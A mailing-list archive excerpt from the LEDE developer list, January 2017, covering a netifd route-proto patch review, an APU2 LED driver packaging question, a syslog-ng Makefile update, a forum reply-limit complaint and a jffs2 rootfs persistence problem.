@@ -1285,6 +1296,11 @@ system_if_get_settings(struct device *dev, struct device_settings *s)
 		s->flags |= DEV_OPT_NEIGHREACHABLETIME;
 	}
 
+	if (!system_get_neigh4locktime(dev, buf, sizeof(buf))) {
+		s->neigh4locktime = strtoul(buf, NULL, 0);
+		s->flags |= DEV_OPT_NEIGHLOCKTIME;
+	}
+
 	if (!system_get_neigh4gcstaletime(dev, buf, sizeof(buf))) {
 		s->neigh4gcstaletime = strtoul(buf, NULL, 0);
 		s->flags |= DEV_OPT_NEIGHGCSTALETIME;
@@ -1394,6 +1410,10 @@ system_if_apply_settings(struct device *dev, struct device_settings *s, unsigned
 		snprintf(buf, sizeof(buf), "%d", s->neigh6reachabletime);
 		system_set_neigh6reachabletime(dev, buf);
 	}
+	if (s->flags & DEV_OPT_NEIGHLOCKTIME & apply_mask) {
+		snprintf(buf, sizeof(buf), "%d", s->neigh4locktime);
+		system_set_neigh4locktime(dev, buf);
+	}
 	if (s->flags & DEV_OPT_NEIGHGCSTALETIME & apply_mask) {
 		snprintf(buf, sizeof(buf), "%d", s->neigh4gcstaletime);
 		system_set_neigh4gcstaletime(dev, buf);
-- 
1.7.12.4



From dave at taht.net  Tue Jan 17 08:00:56 2017
From: dave at taht.net (=?UTF-8?Q?Dave_T=c3=a4ht?=)
Date: Tue, 17 Jan 2017 08:00:56 -0800
Subject: [LEDE-DEV] [PATCH netifd] interface-ip: route proto config
 support (FS#170)
In-Reply-To: <87bmv5vjq7.fsf@toke.dk>
References: <20170117140844.8381-1-dedeckeh@gmail.com> <87bmv5vjq7.fsf@toke.dk>
Message-ID: <2d29ab56-45d9-a9f7-18a0-5d44441b563a@taht.net>

Thank you Hans, this made my day.

On 1/17/17 6:34 AM, Toke H?iland-J?rgensen wrote:
> Hans Dedecker <dedeckeh at gmail.com> writes:
> 
>> Route proto support is usefull when using route distribution
>> via a routing daemon.
>> The route proto parameter can be specified via the route proto
>> uci config parameter and can hold the string values redirect,
>> kernel, static, gated, ra, mrt, zebra, bind, dnrouted, xorp,
>> ntk, dhcp, mrouted, babel or a numerical value
>>
>> Signed-off-by: Hans Dedecker <dedeckeh at gmail.com>
>> ---
>>  interface-ip.c | 21 +++++++++++++++++----
>>  interface-ip.h |  5 +++--
>>  system-dummy.c |  6 ++++++
>>  system-linux.c | 52 +++++++++++++++++++++++++++++++++++++++++++++++++++-
>>  system.h       |  1 +
>>  ubus.c         |  3 +++
>>  6 files changed, 81 insertions(+), 7 deletions(-)
>>
>> diff --git a/interface-ip.c b/interface-ip.c
>> index 24ea054..f8dab84 100644
>> --- a/interface-ip.c
>> +++ b/interface-ip.c
>> @@ -40,6 +40,7 @@ enum {
>>  	ROUTE_SOURCE,
>>  	ROUTE_ONLINK,
>>  	ROUTE_TYPE,
>> +	ROUTE_PROTO,
>>  	__ROUTE_MAX
>>  };
>>
>> @@ -54,7 +55,8 @@ static const struct blobmsg_policy route_attr[__ROUTE_MAX] = {
>>  	[ROUTE_VALID] = { .name = "valid", .type = BLOBMSG_TYPE_INT32 },
>>  	[ROUTE_SOURCE] = { .name = "source", .type = BLOBMSG_TYPE_STRING },
>>  	[ROUTE_ONLINK] = { .name = "onlink", .type = BLOBMSG_TYPE_BOOL },
>> -	[ROUTE_TYPE] = { .name = "type", .type = BLOBMSG_TYPE_STRING }
>> +	[ROUTE_TYPE] = { .name = "type", .type = BLOBMSG_TYPE_STRING },
>> +	[ROUTE_PROTO] = { .name = "proto", .type = BLOBMSG_TYPE_STRING },
>>  };
>>
>>  const struct uci_blob_param_list route_attr_list = {
>> @@ -405,6 +407,14 @@ interface_ip_add_route(struct interface *iface, struct blob_attr *attr, bool v6)
>>  		route->flags |= DEVROUTE_TYPE;
>>  	}
>>
>> +	if ((cur = tb[ROUTE_PROTO]) != NULL) {
>> +		if (!system_resolve_rt_proto(blobmsg_data(cur), &route->proto)) {
>> +			DPRINTF("Failed to resolve proto type: %s\n", (char *) blobmsg_data(cur));
>> +			goto error;
>> +		}
>> +		route->flags |= DEVROUTE_PROTO;
>> +	}
>> +
>>  	interface_set_route_info(iface, route);
>>  	vlist_add(&ip->route, &route->node, route);
>>  	return;
>> @@ -478,10 +488,13 @@ interface_handle_subnet_route(struct interface *iface, struct device_addr *addr,
>>  	memcpy(&r->addr, &addr->addr, sizeof(r->addr));
>>  	clear_if_addr(&r->addr, r->mask);
>>
>> -	r->flags |= DEVADDR_KERNEL;
>> +	if (!system_resolve_rt_proto("kernel", &r->proto))
>> +		return;
>> +
>> +	r->flags |= DEVROUTE_PROTO;
>>  	system_del_route(dev, r);
>>
>> -	r->flags &= ~DEVADDR_KERNEL;
>> +	r->flags &= ~DEVROUTE_PROTO;
>>  	interface_set_route_info(iface, r);
>>
>>  	system_add_route(dev, r);
>> @@ -634,7 +647,7 @@ interface_update_proto_route(struct vlist_tree *tree,
>>  	if (node_old && node_new)
>>  		keep = !memcmp(&route_old->nexthop, &route_new->nexthop, sizeof(route_old->nexthop)) &&
>>  			(route_old->mtu == route_new->mtu) && (route_old->type == route_new->type) &&
>> -			!route_old->failed;
>> +			(route_old->proto == route_new->proto) && !route_old->failed;
>>
>>  	if (node_old) {
>>  		if (!(route_old->flags & DEVADDR_EXTERNAL) && route_old->enabled && !keep)
>> diff --git a/interface-ip.h b/interface-ip.h
>> index bbef62c..01727c9 100644
>> --- a/interface-ip.h
>> +++ b/interface-ip.h
>> @@ -31,8 +31,8 @@ enum device_addr_flags {
>>  	/* route overrides the default interface mtu */
>>  	DEVROUTE_MTU		= (1 << 4),
>>
>> -	/* route automatically added by kernel */
>> -	DEVADDR_KERNEL		= (1 << 5),
>> +	/* route overrides the default proto type */
>> +	DEVROUTE_PROTO		= (1 << 5),
>>
>>  	/* address is off-link (no subnet-route) */
>>  	DEVADDR_OFFLINK		= (1 << 6),
>> @@ -92,6 +92,7 @@ struct device_route {
>>  	union if_addr nexthop;
>>  	int mtu;
>>  	unsigned int type;
>> +	unsigned int proto;
>>  	time_t valid_until;
>>
>>  	/* must be last */
>> diff --git a/system-dummy.c b/system-dummy.c
>> index 9c734ea..2ea25ac 100644
>> --- a/system-dummy.c
>> +++ b/system-dummy.c
>> @@ -202,6 +202,12 @@ bool system_resolve_rt_type(const char *type, unsigned int *id)
>>  	return true;
>>  }
>>
>> +bool system_resolve_rt_proto(const char *type, unsigned int *id)
>> +{
>> +	*id = 0;
>> +	return true;
>> +}
>> +
>>  bool system_resolve_rt_table(const char *name, unsigned int *id)
>>  {
>>  	*id = 0;
>> diff --git a/system-linux.c b/system-linux.c
>> index 2f15bf1..6e92685 100644
>> --- a/system-linux.c
>> +++ b/system-linux.c
>> @@ -52,6 +52,13 @@
>>  #define IFA_FLAGS (IFA_MULTICAST + 1)
>>  #endif
>>
>> +#ifndef RTPROT_MROUTED
>> +#define RTPROT_MROUTED 17
>> +#endif
>> +
>> +#ifndef RTPROT_BABEL
>> +#define RTPROT_BABEL 42
>> +#endif
>>
>>  #include <string.h>
>>  #include <fcntl.h>
>> @@ -1782,7 +1789,7 @@ static int system_rt(struct device *dev, struct device_route *route, int cmd)
>>  		.rtm_dst_len = route->mask,
>>  		.rtm_src_len = route->sourcemask,
>>  		.rtm_table = (table < 256) ? table : RT_TABLE_UNSPEC,
>> -		.rtm_protocol = (route->flags & DEVADDR_KERNEL) ? RTPROT_KERNEL : RTPROT_STATIC,
>> +		.rtm_protocol = (route->flags & DEVROUTE_PROTO) ? route->proto : RTPROT_STATIC,
>>  		.rtm_scope = RT_SCOPE_NOWHERE,
>>  		.rtm_type = (cmd == RTM_DELROUTE) ? 0: RTN_UNICAST,
>>  		.rtm_flags = (route->flags & DEVROUTE_ONLINK) ? RTNH_F_ONLINK : 0,
>> @@ -1900,6 +1907,49 @@ bool system_resolve_rt_type(const char *type, unsigned int *id)
>>  	return system_rtn_aton(type, id);
>>  }
>>
>> +bool system_resolve_rt_proto(const char *type, unsigned int *id)
>> +{
>> +	char *e;
>> +	unsigned int n;
>> +
>> +	if (!strcmp(type, "redirect"))
>> +		n = RTPROT_REDIRECT;
>> +	else if (!strcmp(type, "kernel"))
>> +		n = RTPROT_KERNEL;
>> +	else if (!strcmp(type, "static"))
>> +		n = RTPROT_STATIC;
>> +	else if (!strcmp(type, "gated"))
>> +		n = RTPROT_GATED;
>> +	else if (!strcmp(type, "ra"))
>> +		n = RTPROT_RA;
>> +	else if (!strcmp(type, "mrt"))
>> +		n = RTPROT_MRT;
>> +	else if (!strcmp(type, "zebra"))
>> +		n = RTPROT_ZEBRA;
>> +	else if (!strcmp(type, "bird"))
>> +		n = RTPROT_BIRD;
>> +	else if (!strcmp(type, "dnrouted"))
>> +		n = RTPROT_DNROUTED;
>> +	else if (!strcmp(type, "xorp"))
>> +		n = RTPROT_XORP;
>> +	else if (!strcmp(type, "ntk"))
>> +		n = RTPROT_NTK;
>> +	else if (!strcmp(type, "dhcp"))
>> +		n = RTPROT_DHCP;
>> +	else if (!strcmp(type, "mrouted"))
>> +		n = RTPROT_MROUTED;
>> +	else if (!strcmp(type, "babel"))
>> +		n = RTPROT_BABEL;
> 
> Shouldn't these be read from somewhere rather than hard-coded (iproute2
> gets them from /etc/iproute/rt_protos)?

This file has changed twice in the last 20 years, and I think of the
effort required to parse it, vs storing these strings locally in the
daemon, the latter would be fine. Move it to a table perhaps that
can be reused elsewhere?

That said, there is a new proto on the block (the homenet (hnetd)),
which uses proto 43 presently. Also "boot". Let me go look at a
couple other daemons... (bbl)

Disambiguating dhcp(v6,v6-pd) derived routes would be the most helpful
of these, and generally you wouldn't want to specify a specific routing
daemon proto in uci. Except when you do. (people do use zebra in
incomprehensible ways)

The undefined proto numbers are useful for when you are injecting things
from oddball sources that you need to treat separately (notably
vpns that are also doing address assignment and routing where I hope we
can move to source specific routing rather than policy routing)

thx for the patch! totally made my day.




> -Toke
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev
> 


From dedeckeh at gmail.com  Tue Jan 17 08:14:20 2017
From: dedeckeh at gmail.com (Hans Dedecker)
Date: Tue, 17 Jan 2017 17:14:20 +0100
Subject: [LEDE-DEV] [PATCH netifd] interface-ip: route proto config
 support (FS#170)
In-Reply-To: <2d29ab56-45d9-a9f7-18a0-5d44441b563a@taht.net>
References: <20170117140844.8381-1-dedeckeh@gmail.com> <87bmv5vjq7.fsf@toke.dk>
 <2d29ab56-45d9-a9f7-18a0-5d44441b563a@taht.net>
Message-ID: <CAJLcKsHZxX0MHM64qe6A=C6nmHSjUW68qX8cupxvpxxJH=pT7w@mail.gmail.com>

On Tue, Jan 17, 2017 at 5:00 PM, Dave T?ht <dave at taht.net> wrote:
> Thank you Hans, this made my day.
>
> On 1/17/17 6:34 AM, Toke H?iland-J?rgensen wrote:
>> Hans Dedecker <dedeckeh at gmail.com> writes:
>>
>>> Route proto support is usefull when using route distribution
>>> via a routing daemon.
>>> The route proto parameter can be specified via the route proto
>>> uci config parameter and can hold the string values redirect,
>>> kernel, static, gated, ra, mrt, zebra, bind, dnrouted, xorp,
>>> ntk, dhcp, mrouted, babel or a numerical value
>>>
>>> Signed-off-by: Hans Dedecker <dedeckeh at gmail.com>
>>> ---
>>>  interface-ip.c | 21 +++++++++++++++++----
>>>  interface-ip.h |  5 +++--
>>>  system-dummy.c |  6 ++++++
>>>  system-linux.c | 52 +++++++++++++++++++++++++++++++++++++++++++++++++++-
>>>  system.h       |  1 +
>>>  ubus.c         |  3 +++
>>>  6 files changed, 81 insertions(+), 7 deletions(-)
>>>
>>> diff --git a/interface-ip.c b/interface-ip.c
>>> index 24ea054..f8dab84 100644
>>> --- a/interface-ip.c
>>> +++ b/interface-ip.c
>>> @@ -40,6 +40,7 @@ enum {
>>>      ROUTE_SOURCE,
>>>      ROUTE_ONLINK,
>>>      ROUTE_TYPE,
>>> +    ROUTE_PROTO,
>>>      __ROUTE_MAX
>>>  };
>>>
>>> @@ -54,7 +55,8 @@ static const struct blobmsg_policy route_attr[__ROUTE_MAX] = {
>>>      [ROUTE_VALID] = { .name = "valid", .type = BLOBMSG_TYPE_INT32 },
>>>      [ROUTE_SOURCE] = { .name = "source", .type = BLOBMSG_TYPE_STRING },
>>>      [ROUTE_ONLINK] = { .name = "onlink", .type = BLOBMSG_TYPE_BOOL },
>>> -    [ROUTE_TYPE] = { .name = "type", .type = BLOBMSG_TYPE_STRING }
>>> +    [ROUTE_TYPE] = { .name = "type", .type = BLOBMSG_TYPE_STRING },
>>> +    [ROUTE_PROTO] = { .name = "proto", .type = BLOBMSG_TYPE_STRING },
>>>  };
>>>
>>>  const struct uci_blob_param_list route_attr_list = {
>>> @@ -405,6 +407,14 @@ interface_ip_add_route(struct interface *iface, struct blob_attr *attr, bool v6)
>>>              route->flags |= DEVROUTE_TYPE;
>>>      }
>>>
>>> +    if ((cur = tb[ROUTE_PROTO]) != NULL) {
>>> +            if (!system_resolve_rt_proto(blobmsg_data(cur), &route->proto)) {
>>> +                    DPRINTF("Failed to resolve proto type: %s\n", (char *) blobmsg_data(cur));
>>> +                    goto error;
>>> +            }
>>> +            route->flags |= DEVROUTE_PROTO;
>>> +    }
>>> +
>>>      interface_set_route_info(iface, route);
>>>      vlist_add(&ip->route, &route->node, route);
>>>      return;
>>> @@ -478,10 +488,13 @@ interface_handle_subnet_route(struct interface *iface, struct device_addr *addr,
>>>      memcpy(&r->addr, &addr->addr, sizeof(r->addr));
>>>      clear_if_addr(&r->addr, r->mask);
>>>
>>> -    r->flags |= DEVADDR_KERNEL;
>>> +    if (!system_resolve_rt_proto("kernel", &r->proto))
>>> +            return;
>>> +
>>> +    r->flags |= DEVROUTE_PROTO;
>>>      system_del_route(dev, r);
>>>
>>> -    r->flags &= ~DEVADDR_KERNEL;
>>> +    r->flags &= ~DEVROUTE_PROTO;
>>>      interface_set_route_info(iface, r);
>>>
>>>      system_add_route(dev, r);
>>> @@ -634,7 +647,7 @@ interface_update_proto_route(struct vlist_tree *tree,
>>>      if (node_old && node_new)
>>>              keep = !memcmp(&route_old->nexthop, &route_new->nexthop, sizeof(route_old->nexthop)) &&
>>>                      (route_old->mtu == route_new->mtu) && (route_old->type == route_new->type) &&
>>> -                    !route_old->failed;
>>> +                    (route_old->proto == route_new->proto) && !route_old->failed;
>>>
>>>      if (node_old) {
>>>              if (!(route_old->flags & DEVADDR_EXTERNAL) && route_old->enabled && !keep)
>>> diff --git a/interface-ip.h b/interface-ip.h
>>> index bbef62c..01727c9 100644
>>> --- a/interface-ip.h
>>> +++ b/interface-ip.h
>>> @@ -31,8 +31,8 @@ enum device_addr_flags {
>>>      /* route overrides the default interface mtu */
>>>      DEVROUTE_MTU            = (1 << 4),
>>>
>>> -    /* route automatically added by kernel */
>>> -    DEVADDR_KERNEL          = (1 << 5),
>>> +    /* route overrides the default proto type */
>>> +    DEVROUTE_PROTO          = (1 << 5),
>>>
>>>      /* address is off-link (no subnet-route) */
>>>      DEVADDR_OFFLINK         = (1 << 6),
>>> @@ -92,6 +92,7 @@ struct device_route {
>>>      union if_addr nexthop;
>>>      int mtu;
>>>      unsigned int type;
>>> +    unsigned int proto;
>>>      time_t valid_until;
>>>
>>>      /* must be last */
>>> diff --git a/system-dummy.c b/system-dummy.c
>>> index 9c734ea..2ea25ac 100644
>>> --- a/system-dummy.c
>>> +++ b/system-dummy.c
>>> @@ -202,6 +202,12 @@ bool system_resolve_rt_type(const char *type, unsigned int *id)
>>>      return true;
>>>  }
>>>
>>> +bool system_resolve_rt_proto(const char *type, unsigned int *id)
>>> +{
>>> +    *id = 0;
>>> +    return true;
>>> +}
>>> +
>>>  bool system_resolve_rt_table(const char *name, unsigned int *id)
>>>  {
>>>      *id = 0;
>>> diff --git a/system-linux.c b/system-linux.c
>>> index 2f15bf1..6e92685 100644
>>> --- a/system-linux.c
>>> +++ b/system-linux.c
>>> @@ -52,6 +52,13 @@
>>>  #define IFA_FLAGS (IFA_MULTICAST + 1)
>>>  #endif
>>>
>>> +#ifndef RTPROT_MROUTED
>>> +#define RTPROT_MROUTED 17
>>> +#endif
>>> +
>>> +#ifndef RTPROT_BABEL
>>> +#define RTPROT_BABEL 42
>>> +#endif
>>>
>>>  #include <string.h>
>>>  #include <fcntl.h>
>>> @@ -1782,7 +1789,7 @@ static int system_rt(struct device *dev, struct device_route *route, int cmd)
>>>              .rtm_dst_len = route->mask,
>>>              .rtm_src_len = route->sourcemask,
>>>              .rtm_table = (table < 256) ? table : RT_TABLE_UNSPEC,
>>> -            .rtm_protocol = (route->flags & DEVADDR_KERNEL) ? RTPROT_KERNEL : RTPROT_STATIC,
>>> +            .rtm_protocol = (route->flags & DEVROUTE_PROTO) ? route->proto : RTPROT_STATIC,
>>>              .rtm_scope = RT_SCOPE_NOWHERE,
>>>              .rtm_type = (cmd == RTM_DELROUTE) ? 0: RTN_UNICAST,
>>>              .rtm_flags = (route->flags & DEVROUTE_ONLINK) ? RTNH_F_ONLINK : 0,
>>> @@ -1900,6 +1907,49 @@ bool system_resolve_rt_type(const char *type, unsigned int *id)
>>>      return system_rtn_aton(type, id);
>>>  }
>>>
>>> +bool system_resolve_rt_proto(const char *type, unsigned int *id)
>>> +{
>>> +    char *e;
>>> +    unsigned int n;
>>> +
>>> +    if (!strcmp(type, "redirect"))
>>> +            n = RTPROT_REDIRECT;
>>> +    else if (!strcmp(type, "kernel"))
>>> +            n = RTPROT_KERNEL;
>>> +    else if (!strcmp(type, "static"))
>>> +            n = RTPROT_STATIC;
>>> +    else if (!strcmp(type, "gated"))
>>> +            n = RTPROT_GATED;
>>> +    else if (!strcmp(type, "ra"))
>>> +            n = RTPROT_RA;
>>> +    else if (!strcmp(type, "mrt"))
>>> +            n = RTPROT_MRT;
>>> +    else if (!strcmp(type, "zebra"))
>>> +            n = RTPROT_ZEBRA;
>>> +    else if (!strcmp(type, "bird"))
>>> +            n = RTPROT_BIRD;
>>> +    else if (!strcmp(type, "dnrouted"))
>>> +            n = RTPROT_DNROUTED;
>>> +    else if (!strcmp(type, "xorp"))
>>> +            n = RTPROT_XORP;
>>> +    else if (!strcmp(type, "ntk"))
>>> +            n = RTPROT_NTK;
>>> +    else if (!strcmp(type, "dhcp"))
>>> +            n = RTPROT_DHCP;
>>> +    else if (!strcmp(type, "mrouted"))
>>> +            n = RTPROT_MROUTED;
>>> +    else if (!strcmp(type, "babel"))
>>> +            n = RTPROT_BABEL;
>>
>> Shouldn't these be read from somewhere rather than hard-coded (iproute2
>> gets them from /etc/iproute/rt_protos)?
>
> This file has changed twice in the last 20 years, and I think of the
> effort required to parse it, vs storing these strings locally in the
> daemon, the latter would be fine. Move it to a table perhaps that
> can be reused elsewhere?
>
> That said, there is a new proto on the block (the homenet (hnetd)),
> which uses proto 43 presently. Also "boot". Let me go look at a
> couple other daemons... (bbl)
>
> Disambiguating dhcp(v6,v6-pd) derived routes would be the most helpful
> of these, and generally you wouldn't want to specify a specific routing
> daemon proto in uci. Except when you do. (people do use zebra in
> incomprehensible ways)
>
> The undefined proto numbers are useful for when you are injecting things
> from oddball sources that you need to treat separately (notably
> vpns that are also doing address assignment and routing where I hope we
> can move to source specific routing rather than policy routing)
>
> thx for the patch! totally made my day.
Had a chat with Jow about the route proto field support; the idea is
to have netifd support hardcoded protos like static, boot, kernel and
unspec. If the specified proto field cannot be resolved and it's not a
number the rt_protos file will be inspected in order to resolve it.

Hans
>
>
>
>
>> -Toke
>>
>> _______________________________________________
>> Lede-dev mailing list
>> Lede-dev at lists.infradead.org
>> http://lists.infradead.org/mailman/listinfo/lede-dev
>>
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From david at lang.hm  Tue Jan 17 09:32:01 2017
From: david at lang.hm (David Lang)
Date: Tue, 17 Jan 2017 09:32:01 -0800 (PST)
Subject: [LEDE-DEV] forum limitations
Message-ID: <nycvar.QRO.7.75.62.1701170928020.3758@qynat-yncgbc>

currently new users (for some definition of 'new', I have 63 posts starting 
within a day or two of when the forum was created) are limited to 3 replies in a 
topic.

This limit is really easy to hit in a technical discussion and is going to drive 
people to create extra topics to work around the limitation.


example error message via e-mail:

We're sorry, but your email message to 
["forum+reply-83162f79a9a8b8efaf1a2e8dae5337de at lede-project.org"] (titled Re: 
[LEDE Project
Forum] [Installing and Using LEDE] Wlan 2.4/5Ghz to slow fpr 1080p/60fps?) 
didn't work.

Reason:

We're sorry, but new users are temporarily limited to 3 replies in the same 
topic.

If you can correct the problem, please try again.



David Lang


From chrisrblake93 at gmail.com  Tue Jan 17 10:29:27 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Tue, 17 Jan 2017 12:29:27 -0600
Subject: [LEDE-DEV] [PATCH 4/4] x86: Add APU2 LED Driver
In-Reply-To: <372dd4f4-6a6f-cc40-566a-b24203ced36e@nbd.name>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
 <54a18d27-e0a7-b362-4f9b-40c1926c13a0@nbd.name>
 <CALpBJjrEgcxjagYk9fhafwYCbUNd-UCBkOi8cP5P67Udpr5LEA@mail.gmail.com>
 <CALpBJjrutmow6kBS9+dqMw1y70N7sTyBosczkpkHr7ZROm+iAg@mail.gmail.com>
 <372dd4f4-6a6f-cc40-566a-b24203ced36e@nbd.name>
Message-ID: <CALpBJjphdBJ9xntzJvpUoYUnJczwbZJ0psb=hmxcpexbZxGeyA@mail.gmail.com>

On Sat, Jan 14, 2017 at 11:13 AM, Felix Fietkau <nbd at nbd.name> wrote:
> On 2017-01-14 18:04, Chris Blake wrote:
>> On Sat, Jan 14, 2017 at 10:41 AM, Chris Blake <chrisrblake93 at gmail.com> wrote:
>>> On Sat, Jan 14, 2017 at 10:31 AM, Felix Fietkau <nbd at nbd.name> wrote:
>>>> On 2017-01-14 17:20, Chris Blake wrote:
>>>>> The following patch adds LED support for the PC Engines APU2/APU3 board
>>>>> on LEDE.
>>>>>
>>>>> Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
>>>> Has this driver been submitted for upstream inclusion yet?
>>>>
>>>> - Felix
>>>>
>>>
>>> Felix,
>>>
>>> This driver has not been submitted upstream to the Linux mailing list
>>> at this time.
>>>
>>> - Chris B
>>
>> Felix,
>>
>> In regards to upstream it seems this driver in particular, APU2 LED,
>> was submitted upstream at https://patches.linaro.org/patch/80049/
>> previously. While this version of the driver varies slightly (better
>> platform detection), would you still prefer this to be re-submitted in
>> package form? Due to the platform specific code I doubt it would have
>> much luck in the upstream lists.
> Yes, since there doesn't seem to be any progress towards getting this
> merged, please re-submit it in package form.
>
> Thanks,
>
> - Felix
>

Felix,

I have been working on moving the LED driver to a package, but have
some concerns about implementation. Specifically, this would hit the
same issue I had with the Meraki MR18 LED Driver (NU801) around having
the LEDs/Reset button available during boot. Specifically, this is a
concern as the reset button will be unusable for failsafe mode and the
LEDs will fail to show boot status once system integration [0] is
cleaned up and sent as a later PR.

I was curious if you had any feedback, or ideas to get around this. As
for the other GPIO driver, that should have no issues being packaged.

Regards,
Chris B

[0]: http://lists.infradead.org/pipermail/lede-dev/2016-October/003535.html


From nbd at nbd.name  Tue Jan 17 10:36:24 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Tue, 17 Jan 2017 19:36:24 +0100
Subject: [LEDE-DEV] [PATCH 4/4] x86: Add APU2 LED Driver
In-Reply-To: <CALpBJjphdBJ9xntzJvpUoYUnJczwbZJ0psb=hmxcpexbZxGeyA@mail.gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
 <54a18d27-e0a7-b362-4f9b-40c1926c13a0@nbd.name>
 <CALpBJjrEgcxjagYk9fhafwYCbUNd-UCBkOi8cP5P67Udpr5LEA@mail.gmail.com>
 <CALpBJjrutmow6kBS9+dqMw1y70N7sTyBosczkpkHr7ZROm+iAg@mail.gmail.com>
 <372dd4f4-6a6f-cc40-566a-b24203ced36e@nbd.name>
 <CALpBJjphdBJ9xntzJvpUoYUnJczwbZJ0psb=hmxcpexbZxGeyA@mail.gmail.com>
Message-ID: <6d0f8f4c-f09f-0a60-1884-e24f7b8d7fe4@nbd.name>

On 2017-01-17 19:29, Chris Blake wrote:
> Felix,
> 
> I have been working on moving the LED driver to a package, but have
> some concerns about implementation. Specifically, this would hit the
> same issue I had with the Meraki MR18 LED Driver (NU801) around having
> the LEDs/Reset button available during boot. Specifically, this is a
> concern as the reset button will be unusable for failsafe mode and the
> LEDs will fail to show boot status once system integration [0] is
> cleaned up and sent as a later PR.
> 
> I was curious if you had any feedback, or ideas to get around this. As
> for the other GPIO driver, that should have no issues being packaged.
You can set the AUTOLOAD line like this:
AUTOLOAD:=$(call AutoLoad,41,leds-apu2,1)

The ",1" at the end will cause the module load line to be added to
/etc/modules-boot.d, which gets processed before preinit, so it works
with failsafe as well.

- Felix


From philipp_subx at redfish-solutions.com  Tue Jan 17 10:40:16 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Tue, 17 Jan 2017 11:40:16 -0700
Subject: [LEDE-DEV] Syslog-ng Makefile typo
In-Reply-To: <0366D25C-43EA-4A33-9DE8-3736FEA9E88D@redfish-solutions.com>
References: <b776cb38-f2f6-145d-00bd-356bfd681300@gmail.com>
 <0366D25C-43EA-4A33-9DE8-3736FEA9E88D@redfish-solutions.com>
Message-ID: <369CA702-52B0-4323-BB33-1298CF8A143C@redfish-solutions.com>

Actually, I take that back.

Milan, can you please update the top line of files/syslog-ng.conf also?  It needs to read ?3.9? instead (assuming there aren?t any syntactic constructs in that file that are now deprecated from 3.8 to 3.9? if there were, the file would need to be updated as well? like when the log_prefix() filter criteria got replaced by program()).

Thanks


> On Jan 16, 2017, at 1:45 PM, Philip Prindeville <philipp_subx at redfish-solutions.com> wrote:
> 
> Looks good to me.
> 
> 
>> On Jan 16, 2017, at 4:24 AM, Milan Ko?vara <milankocvara at gmail.com> wrote:
>> 
>> Hello.
>> I found typo in syslog-ng makefile.
>> 
>> I've upgraded to the newest version and I've made correction of the typo. Patch bellow.
>> 
>> Sorry for bad format of everything. I did it never :)
>> 
>> --- Makefile-orig       2017-01-16 12:06:44.367684776 +0100
>> +++ Makefile~   2017-01-16 12:22:47.198478933 +0100
>> @@ -1,14 +1,14 @@
>> include  $(TOPDIR)/rules.mk
>> 
>> PKG_NAME:=syslog-ng
>> -PKG_VERSION:=3.8.1
>> -PKG_RELEASE:=3
>> +PKG_VERSION:=3.9.1
>> +PKG_RELEASE:=1
>> 
>> PKG_MAINTAINER:=W. Michael Petullo <mike at flyn.org>
>> 
>> PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
>> PKG_SOURCE_URL:=https://github.com/balabit/syslog-ng/releases/download/$(PKG_NAME)-$(PKG_VERSION)/
>> -PKG_MD5SUM:=acf14563cf5ce435db8db35486ce66af
>> +PKG_MD5SUM:=1b48da9ef620cf06e55e481b5abb677a
>> 
>> PKG_INSTALL:=1
>> 
>> @@ -41,7 +41,7 @@
>> CONFIGURE_ARGS += \
>>  $(call autoconf_bool,CONFIG_IPV6,ipv6) \
>>         --disable-dependency-tracking \
>> -         --disable-ampq \
>> +         --disable-amqp \
>>         --disable-tcp-wrapper \
>>         --disable-glibtest \
>>         --disable-mongodb \
> 
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev



From sailormani at gmail.com  Tue Jan 17 10:41:00 2017
From: sailormani at gmail.com (K.Mani)
Date: Wed, 18 Jan 2017 00:11:00 +0530
Subject: [LEDE-DEV] Files across reboot are not persisiting
Message-ID: <CACBNxUG7Zi7zqyUzd32S47trcbM-ODRX+H42q8+vqPA9s5nEJQ@mail.gmail.com>

    When we create a file on the booted board and reboot the file
doesn't persist.
    Environment:
    OpenWRT branch "Barrier Breaker" on Annapurna board, with
ALpine-v1(soc) is having NOR flash(MX25U25635F) 32MB

    I think mounting of rootfs_data type jffs2 is not happening in Preinit!

    <kernel boot-log>

    [  587.597297] m25p80 spi0.0: found mx25u25635f, expected
spi_flash_jedec_detection
    [  587.604693] m25p80 spi0.0: mx25u25635f (32768 Kbytes)
    [  587.609753] 5 ofpart partitions found on MTD device spi0.0
    [  587.615233] Creating 5 MTD partitions on "spi0.0":
    [  587.620016] 0x000000000000-0x000000200000 : "al_boot"
    [  587.625421] 0x000000200000-0x000000300000 : "device_tree"
    [  587.631148] 0x000000300000-0x000000b00000 : "Kernel"
    [  587.636431] 0x000000b00000-0x000001b00000 : "rootfs"
    [  587.641697] mtd: device 3 (rootfs) set to be root filesystem
    [  587.647420] mtd: partition "rootfs_data" created automatically,
ofs=0xf50000, len=0xbb0000
    [  587.655672] 0x000000f50000-0x000001b00000 : "rootfs_data"
    [  587.661381] 0x000001b00000-0x000002000000 : "storage"

    .
    .

    [  588.517726] Freeing unused kernel memory: 10912K (c06af000 - c1157000)
    procd: Console is alive
    procd: - watchdog -
    procd: - preinit -
    Press the [f] key and hit [enter] to enter failsafe mode
    Press the [1], [2], [3] or [4] key and hit [enter] to select the debug level
    procd: - early -
    procd: - watchdog -
    procd: - ubus -
    procd: - init -
    Please press Enter to activate this console.
    [  593.780917] configured MAC to RGMII mode:
    [  593.785404] al_eth 0000:00:01.0 eth1: using MSI-X per Queue
interrupt mode
    [  593.793270] libphy: al mdio bus: probed

    </kernel boot-log>

    Kernel command line: root=/dev/mtdblock3 rootfstype=squashfs,jffs2
noinitrd pci=pcie_bus_perf console=ttyS0,115200

    df -h
    Filesystem                Size      Used Available Use% Mounted on
